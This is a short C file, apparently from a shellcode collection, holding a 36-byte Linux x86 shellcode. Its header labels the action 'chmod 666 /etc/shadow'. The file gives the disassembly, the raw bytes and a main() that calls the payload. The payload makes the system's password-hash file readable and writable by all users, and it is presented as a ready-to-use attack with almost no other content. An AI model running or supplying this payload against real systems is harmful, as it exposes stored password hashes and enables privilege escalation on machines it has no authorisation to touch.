/*
--=[ ACTION: chmod 666 /etc/shadow
--=[ AUTOR : nitrous@danitrous.org
--=[ SIZE  : 36 bytes

00000000 <main>:
   0:	eb 12                	jmp    14 <callme>

00000002 <chm0d>:
   2:	31 c0                	xorl    %eax,%eax
   4:	5b                   	popl    %ebx
   5:	88 43 0b             	movb    %al,0xb(%ebx)
   8:	66 b9 b6 01          	movw    $0x1b6,%cx
   c:	b0 0f                	movb    $0xf,%al
   e:	cd 80                	int     $0x80
  10:	b0 01                	movb    $0x1,%al
  12:	cd 80                	int     $0x80

00000014 <callme>:
  14:	e8 e9 ff ff ff       	call   2 <chm0d>
*/
char shellcode[]=
"\xeb\x12\x31\xc0\x5b\x88\x43\x0b"
"\x66\xb9\xb6\x01\xb0\x0f\xcd\x80"
"\xb0\x01\xcd\x80\xe8\xe9\xff\xff"
"\xff/etc/shadow";

main()
{
	__asm__("call shellcode");
}